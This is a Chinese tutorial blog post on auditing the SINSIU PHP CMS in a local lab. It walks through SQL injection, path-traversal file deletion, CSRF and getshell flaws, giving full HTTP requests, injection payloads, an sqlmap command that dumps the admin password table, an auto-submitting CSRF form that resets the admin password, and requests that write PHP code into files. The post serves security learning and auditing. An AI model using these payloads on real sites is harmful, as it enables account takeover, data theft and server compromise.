李坦然
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
前言
这是面向PHP代码审计入门级别实战文章。 CMS特点: 结构较为简单,参数、函数好理解,代码不复杂,功能点齐全,有过滤、有检测但可以绕过,比较好的一套入门级别的审计源码。
参考文章:https://www.sqlsec.com/2020/01/sinsiu.html#toc-heading-1 站长真滴很不错! 在大佬的肩膀上,以更加细致的方法去复现漏洞,以及拓展漏洞。
一、环境搭建
(1) 源码下载地址
https://www.lanzoux.com/i8tj53e
phpstudy 搭建十分简单
(2) mysql语句监控
项目地址:
https://github.com/misskiki/MysqlLogmonitor
mysql_config.ini中需要配置:
这里的dbname需要修改为实际情况下的数据库名,
{ "name": "root", "pass": "root", "port": "3306", "dbname": "sinsiu", "host": "localhost" }
进入MySQL命令行中,输入命令开启日志,
mysql> set global general_log = 'ON';
输入命令,检测是否成功开启,ON则开启成功,此命令是暂时开启日志,重启软件需重新开启。
mysql> show variables like '%general_log'; +---------------+-------+ | Variable_name | Value | +---------------+-------+ | general_log | ON | +---------------+-------+ 1 row in set (0.00 sec)
python运行工具后,执行相关sql查询语句,可看见已监测到相关数据,
210925 13:15:44 2 Query SELECT DATABASE() 2 Init DB sinsiu 210925 13:15:58 2 Query show tables 210925 13:16:11 2 Query select * from php_admin
二、代码审计
(1) 伪-IP 注入
1. 成因
可以看见其对IP进行了记录, 也就是说IP输入可能可控,只要参数可控便可能存在漏洞!
2. 定位漏洞文件位置
seay搜索可能有关联的关键字:ip(,可看到get_ip()函数,
3. 分析代码
//获取客户端IP function get_ip() { if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'),'unknown')) { $ip = getenv('HTTP_CLIENT_IP'); }elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'),'unknown')){ $ip = getenv('HTTP_X_FORWARDED_FOR'); }elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'),'unknown')){ $ip = getenv('REMOTE_ADDR'); }elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],'unknown')){ $ip = $_SERVER['REMOTE_ADDR']; }else{ $ip = '0.0.0.0'; } if(!is_numeric(str_replace('.','',$ip))) { $ip = '0.0.0.0'; } return $ip; }
其中,
HTTP_CLIENT_IP:可通过http头伪造 HTTP_X_FORWARDED_FOR:可通过http头伪造 REMOTE_ADDR:可能是用户真实IP也可能是代理IP 测试代码请移步: https://blog.csdn.net/weixin_33975951/article/details/92526310
可以看见这里其实有验证,所以通过IP进行注入是不行的,
if(!is_numeric(str_replace('.','',$ip))) { $ip = '0.0.0.0'; }
不过,我们可以去掉这段验证代码,尝试进行IP注入。
4. 伪-漏洞利用
在get_ip()函数内部设置断点,网站前台随便点点,触发记录IP的位置,如前台在线留言处,提交留言,BP抓包进行伪造,这里最好用Headers视角进行填写
发包,
伪造成功,这个后面又跟着一个IP我属实没懂是哪个的IP,而且每次都不一样,
日志监控这边,一个查询注入,一个insert注入,
select * from php_safe where saf_ip = '-1' or 1=1--, 222.77.8.12' and saf_action = 'message' insert into php_safe (saf_ip,saf_action,saf_time) values ('-1' or 1=1--,222.77.8.12','message','1632738270')
细心的朋友会发现,由于注释的--[空格]中的空格不见了!会出问题吗,会的,上面的语句不能正常执行,
解决方法:
法1
将payload -1' or 1=1-- 改为-1' or 1=1-- ,(后面有个逗号不要掉,目的是留住空格),这样注释的效果就出来了
法2,与法1异曲同工
将payload -1' or 1=1-- 改为-1' or 1=1-- ;
(2) 后台任意文件删除
1. 漏洞位置
漏洞代码所在文件,
\SINSIU_1_0\admin\deal.php中的del_file()
function del_file() { $path = post('path'); $flag = false; $dir[0] = 'data/backup/'; $dir[1] = 'images/'; $dir[2] = 'resource/'; for($i = 0; $i < count($dir); $i ++) { if(substr($path,0,strlen($dir[$i])) == $dir[$i]) { $flag = true; } } if($flag) { if(unlink($path)) { $result = 1; } } echo isset($result)?$result:0; }
2. 分析代码
定义三个白名单,
$dir[0] = 'data/backup/'; $dir[1] = 'images/'; $dir[2] = 'resource/';
这段代码有、意思,目的就是判断 删除文件的路径($path)是否 是以上白名单文件夹中的,不过,这只是判断了$path的开头,后面却没有做判断,因此可以使用../来穿越目录到达任意文件删除!
for($i = 0; $i < count($dir); $i ++) { if(substr($path,0,strlen($dir[$i])) == $dir[$i]) { $flag = true; } }
3. 漏洞演示
先在根目录下存放一个mm.php文件,
进入后台,点击删除并BP抓包,请求包如下,可看见path参数可控,
POST /SINSIU_1_0/admin.php?/deal/ HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 32 Origin: http://localhost Connection: close Referer: http://localhost/SINSIU_1_0/admin.php?/file/mod-pic_lists/ Cookie: XDEBUG_SESSION=PHPSTORM; PHPSESSID=adcmillfihirs730mckubbp3v4 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin cmd=del_file&path=images/111.jpg
将&path=images/111.jpg改为&path=images/../mm.php,放包,数据进入debug状态,
绕过白名单检验,成功进入删除函数,mm.php被删除!
当然,任意文件删除也不止这一处位置,至少还有两个处可以绕过。
注:unlink():只能删除文件,而不能删除文件夹 ------phpcms V6.2 任意文件上传
4. 后台任意文件删除-补
后面自己审计后发现另一处漏洞,成因的话也是利用穿越目录。
测试目录:根目录下 /test,内含几个txt文件
漏洞点为删除按钮,payload为语言包名字,../是来到根目录,然后会遍历删除test目录下的所有文件、文件夹。
漏洞代码位置:\SINSIU_1_0\admin\module\file\deal.php中del_lang()函数内
if(file_exists('languages/'.$pack_name)) del_dir('languages/'.$pack_name); 很明显$pack_name可控,故触发漏洞,这里就不再累述了。
(3) 后台SQL盲注
1. 了解过滤规则
所有的POST传参都是用post()进行的,
$mes_email = post('email'); $mes_type = post('type'); $mes_title = post('title'); $mes_text = post('text'); $mes_show = post('show');
跟进post(),
function post($val,$filter = 'strict') { return $filter(isset($_POST[$val])?$_POST[$val]:''); }
跟进$filter = 'strict',这里的过滤,XSS就很难了,字符型SQL注入也难,当然,数字型注入不受影响!
//严格过滤字符串中的危险符号 function strict($str) { if(S_MAGIC_QUOTES_GPC) { $str = stripslashes($str); } $str = str_replace('<','<',$str); $str = str_replace('>','>',$str); $str = str_replace('?','?',$str); $str = str_replace('%','%',$str); $str = str_replace(chr(39),''',$str); #替换' $str = str_replace(chr(34),'"',$str); #替换" $str = str_replace(chr(13).chr(10),'<br />',$str);#替换回车 return $str; }
2. 漏洞演示
需要找到数字型的参数,id就大概率是的,于是要找到对用户的操作,
用Navicat连接数据库,可以确认,use_id是数字型,
通过seay,定位到可能有漏洞的函数处,
前端展示,
点击删除,BP抓包,请求包如下,
POST /SINSIU_1_0/admin.php?/deal/dir-service/ HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 17 Origin: http://localhost Connection: close Referer: http://localhost/SINSIU_1_0/admin.php?/service/mod-user_sheet/ Cookie: XDEBUG_SESSION=PHPSTORM; PHPSESSID=adcmillfihirs730mckubbp3v4 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin cmd=del_user&id=1
将id=1改成id=-1 or 1=1,这里显然成功了,
效果,users表中数据全部删除了,也应当如此,
日志里也记录着执行的恶意代码,
这里无论是删除成功或者不成功,都是输出1,故只能用时间盲注了。
function del_user() { ....... ....... echo 1; }
3. 灵活利用sqlmap
站长的文章中这部分真的太精彩了,玩sqlmap可不能只会一把嗦,以前有一个SQL注入用手注有问题,然后用可以SQLmap跑出来,最后挂代理流量发到BP上看注入过程,学习到了不少,注入语句真的很强。
以下是站长的注入语句,般过来学习学习,
sqlmap -u "http://localhost/SINSIU_1_0/admin.php?/deal/dir-basic/" --cookie="PHPSESSID=adcmillfihirs730mckubbp3v4;" --data="cmd=del_admin&id=1" -p "id" --technique=T --random-agent -v 3 --tamper="between" -D 'sinsiu' -T 'php_admin' -C 'adm_id,adm_username,adm_password' --dump
由于是后台注入,故需要携带cookie,
--cookie="PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84;"
手动指定注入参数,
-p "id"
手动指定注入类型,
--technique=T 注:默认BEUSTQ B布尔 E报错 U联合查询 S堆叠 T时间 Q内联查询
随机伪装头部信息user-agent,这个可能有奇效,
--random-agent
显示payload,学习先进的手工注入技术,
-v 3 注: 共有七个等级,默认为1: 0、只显示python错误以及严重的信息。 1、同时显示基本信息和警告信息。(默认) 2、同时显示debug信息。 3、同时显示注入的payload。 4、同时显示HTTP请求。 5、同时显示HTTP响应头。 6、同时显示HTTP响应页面。 如果你想看到sqlmap发送的测试payload最好的等级就是3。
使用插件突破一点过滤,
--tamper="between" 注: 这个网站过滤了尖括号,插件作用是(NOT BETWEEN 0 AND #)替换大于号>,(BETWEEN # AND #)替换等于号=
剩下的参数就是脱裤三部曲了。
结果,数据没注出来,奇怪。
(4) 修改管理员密码 CSRF
1. 漏洞演示
点击修改密码,
点击提交,这里就没有要求输入原密码,
BP抓包,请求包如下,
POST /SINSIU_1_0/admin.php?/basic/index.html HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 62 Origin: http://localhost Connection: close Referer: http://localhost/SINSIU_1_0/admin.php?/basic/mod-admin_edit/id-3/index.html Cookie: XDEBUG_SESSION=PHPSTORM; PHPSESSID=adcmillfihirs730mckubbp3v4 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 cmd=edit_admin&adm_id=3&adm_password=654321&re_password=654321
BP内部右键,复制CSRF HTML,
用同一个浏览器打开,点提交按钮,模拟管理员登录了后台并点击了链接,密码成功修改,
2. 分析代码
根据cmd参数,搜索关键字edit_admin
cmd=edit_admin&adm_id=3&adm_password=654321&re_password=654321
函数所在文件路径,
\SINSIU_1_0\admin\module\basic\deal.php
函数代码,
function edit_admin() { global $global,$smarty; $adm_id = post('adm_id'); $adm_password = post('adm_password'); $re_password = post('re_password'); $obj = new admin(); $obj->set_where('adm_id = '.$global['admin_id']); $a = $obj->get_one(); $obj->set_where(''); $obj->set_where("adm_id = $adm_id"); $b = $obj->get_one(); $success = 0; if($obj->get_count()) { if($a['adm_id'] == $b['adm_id'] || $a['adm_grade'] < $b['adm_grade']) { if(strlen($adm_password) >= 5 && $adm_password == $re_password) { $obj->set_value('adm_password',md5($adm_password)); $obj->edit(); $success = 1; } } } if($success) { $info_text = '修改密码成功'; $link_text = '返回列表页'; $link_href = url(array('channel'=>'basic','mod'=>'admin_list')); }else{ $info_text = '修改密码失败'; $link_text = '返回上一页'; $link_href = url(array('channel'=>'basic','mod'=>'admin_edit')); } $smarty->assign('info_text',$info_text); $smarty->assign('link_text',$link_text); $smarty->assign('link_href',$link_href); }
可以结合debug来看代码,这样,对头发好点,很明显,这里都是对数据的处理,身份验证的措施一点没有,添加管理员的地方同样如此,照这样看来,其他很多地方都存在CSRF!
搬运可点击后自动触发效果的CSRF代码,便不需要目标点提交按钮了,当然可以加代码,使其跳转到正常页面,这些都是社工的内容了,不做重点说。
<html> <body> <script>history.pushState('', '', '/')</script> <form action="http://localhost/SINSIU_1_0/admin.php?/basic/mod-admin_edit/id-3/index.html" method="POST"> <input type="hidden" name="cmd" value="edit_admin" /> <input type="hidden" name="adm_id" value="1" /> <input type="hidden" name="adm_password" value="Passw0rd" /> <input type="hidden" name="re_password" value="Passw0rd" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
(5) 前台SQL盲注
1. 漏洞位置
前台搜索处,
2. 分析代码
由于是前台功能,故不存在于admin目录下,盲猜在index目录下,再根据SQL查询日志中的关键字goo_title,在seay中进行全局搜索,最终定位到相关位置,
select goo_id,goo_title,goo_x_img from php_goods where goo_lang = 'zh-cn' and goo_show = 1 and goo_title like '%xxxxxx%' and goo_channel_id = 1 order by goo_top desc,goo_index desc,goo_id desc
\SINSIU_1_0\index\module\search_main.php中
代码如下,
<?php function module_search_main() { global $global,$smarty; $global['key'] = rawurldecode($global['key']); $obj = new goods(); $obj->set_field('goo_id,goo_title,goo_x_img'); $obj->set_where("goo_title like '%" . $global['key'] . "%'"); $obj->set_where('goo_channel_id = '.get_id('channel','cha_code','goods')); $len = get_varia('img_list_len'); $obj->set_page_size($len ? $len : 12); $obj->set_page_num($global['page']); $sheet = $obj->get_sheet(); for($i = 0; $i < count($sheet); $i ++) { $sheet[$i]['short_title'] = cut_str($sheet[$i]['goo_title'],10); } set_link($obj->get_page_sum()); $smarty->assign('search',$sheet); } //新秀 ?>
让我们来配合debug逐段分析:
将key值进行URL解码,key就是我们搜索框输入的内容,
$global['key'] = rawurldecode($global['key']);
定义一个类,
$obj = new goods();
赋值,
$obj->set_field('goo_id,goo_title,goo_x_img'); $obj->set_where("goo_title like '%" . $global['key'] . "%'"); $obj->set_where('goo_channel_id = '.get_id('channel','cha_code','goods'));
最终的SQL查询对象已经赋值完毕,期间无任何过滤!
同时,日志中也可搜索到查询语句,其实就是$obj中各个字段的值拼接而成。
select goo_id,goo_title,goo_x_img from php_goods where goo_lang = 'zh-cn' and goo_show = 1 and goo_title like '%xxxxxxx%' and goo_channel_id = 1 order by goo_top desc,goo_index desc,goo_id desc
3. 漏洞演示
明白了数据的变化过程,便可构造payload验证了,
http://localhost/SINSIU_1_0/?/search/index.html/key-%27%20or%20%27%%27=%27/
URL解码后是,这也是搜索型注入最简单的写法,
http://localhost/SINSIU_1_0/?/search/index.html/key-' or '%'='/
执行成功,
日志中查询语句,
select goo_id,goo_title,goo_x_img from php_goods where goo_lang = 'zh-cn' and goo_show = 1 and goo_title like '%' or '%'='%' and goo_channel_id = 1 order by goo_top desc,goo_index desc,goo_id desc
前台效果正常,
看日志中执行的SQL语句,有回显,满足了联合查询注入,
搜索-1' union select 111,database(),3 --[空格]
搜索内容有字数限制,可BP抓包后修改,
http://localhost/SINSIU_1_0/?/search/index.html/key--1%27%20union%20select%20111,database(),3%20--%20/
三个查询参数其实都在前端有回显位,直观得到的有两个,
图片的URL链接中也是一个回显位,
(6) 后台getshell
1. 漏洞演示
文件管理->语言设置->随便找个修改,
写入phpinfo,提交,BP抓包,
请求包如下
POST /SINSIU_1_0/admin.php?/file/index.html HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 99 Origin: http://localhost Connection: close Referer: http://localhost/SINSIU_1_0/admin.php?/file/mod-lang_edit/path-languages%2Fzh-cn%2Fadmin%2Fabout.txt/index.html Cookie: PHPSESSID=uhecb7g0t278karljqkgfn61d6; XDEBUG_SESSION=PHPSTORM Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 cmd=edit_lang&path=languages%2Fzh-cn%2Fadmin%2Fabout.txt&lang_text=%3C%3Fphp+phpinfo%28%29%3B%3F%3E
将about.txt改为mm.php,编辑成功。
shell到手
2. 分析代码
前端URL,可定位到目录 \SINSIU_1_0\admin\module\file\lang_edit.php
http://localhost/SINSIU_1_0/admin.php?/file/mod-lang_edit/path-languages/zh-cn/admin/goods.txt/index.html
代码如下
function module_lang_edit() { global $global,$smarty; $file_path = rawurldecode($global['path']); $lang_text = file_get_contents($file_path); $smarty->assign('lang_text',$lang_text); $smarty->assign('file_path',$file_path); }
很明显,先是获取语言包文件的路径$file_path(URL中后面一串),然后$file_path进行URL解码,读出文件内容,再写回文件,无任何检验。
(7) 重装网站漏洞
如果在网站搭建后没有及时按照要求删对应文件,则访问http://localhost/SINSIU_1_0/install便可重置网站。
(8) 伪-后台文件包含漏洞
其实这个漏洞不存在,不过如果稍微删除一个限制就有了,漏洞产生的过程是值得记录的。
1. 代码展示
通过seay自动审计,先快速定位可能存在的漏洞点
漏洞代码
可以看见包含的是$path,$path可以是默认值'admin/admin.php',也可以是$path2赋值,而$path2的产生是可控的!
function main() { global $global,$smarty; set_global(); include_all('admin/class'); set_more_global(); $path = 'admin/admin.php'; if($global['url'] != '') { $path2 = 'admin/'.$global['channel'].'.php'; if(file_exists($path2)) { $path = $path2; } } include($path); }
其中set_global()函数代码如下
//设置全局变量数组 function set_global($filter = 'loose') { global $global; $global = array(); $global['url'] = $filter($_SERVER['QUERY_STRING']); if($global['url'] != '') { $arr = explode('/',$global['url']); $global['channel'] = $arr[1]; .... .... } }
$path2 = 'admin/'.$global['channel'].'.php';
改成,也就是把后面拼接的.php给去掉,这样漏洞就存在了,
$path2 = 'admin/'.$global['channel'];
2. 漏洞复现+分析
直接给出payload,这个payload是一步步分析得到的。其中mm.jpg是上传的照片马。
http://localhost/SINSIU_1_0/admin.php?channel=/..\images\mm.jpg
访问URL,进入函数
F7进入set_global函数,$global['url']被赋值为那一串字符串,$global['url']有值了便进入if中
explode函数作用:将$global['url']以/分割成列表元素,故payloads中要加一个/,并且是\images\mm.jpg而不是/images/mm.jpg的原因就在这里,不能用/,不然就被分割成更多的元素了,shell的路径就不完整了。
$arr = explode('/',$global['url']);
因此$arr有两个元素
将$arr列表的第1个元素赋值给$global['channel'],其中$global是全局变量,这里就是可以控制的输入点了。
$global['channel'] = $arr[1];
结束该函数,回到main()
$path2被赋值,其中$global['channel']已经被我们控制了,
$path2 = 'admin/'.$global['channel'];
$path2存在,赋值给$path
然后$path被包含,shell到手
3. 小总结
其实也尝试想绕过后面给拼接的".php",比如00截断哈哈哈。。。
穿越目录是基本操作,然后一个\绕过/的分割。
其余的地方还有很多类似的,不过都后面都拼接了.php。
三、总结
(1) SQL注入
此CMS注入点很多,集中体现中数字型的传参点,如id,原因在于过滤的规则只是针对字符型的,而忽视了数字型的。
(2) 文件处理
文件\文件内容的增删改查的检测、过滤都十分脆弱。对于穿越目录的现象没有做防护, 文件上传是采用白名单的,低版本PHP 00截断能绕过。
(3)CSRF普遍存在
无论是前台还是后台,由于代码都只是检查了cookie中user_password和user_username是否正确,没有任何防CSRF的手段。
呼~累,啥时候能加个导入MD文件的功能呀~~~
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
